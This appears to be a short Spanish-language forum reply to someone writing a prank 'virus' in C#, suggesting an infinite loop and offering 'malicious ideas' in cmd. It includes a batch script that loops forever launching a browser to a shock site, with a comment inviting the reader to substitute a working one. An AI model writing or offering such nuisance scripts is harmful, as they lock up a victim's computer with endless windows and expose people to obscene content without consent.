Realmente estas pensando enviar un virus con mensajes de error y con C#? Al menos no estás agregando soporte.
Personalmente creo que usar un cmd se ve como mejor opción pero en tu código, yo simplemente reemplazaría el for por un bucle infinito + un try.
Algunas ideas malévolas con cmd
Código:
@echo off
begin:
rem cambia goatse por un sitio que aún exista
start http://goatse.cx
goto begin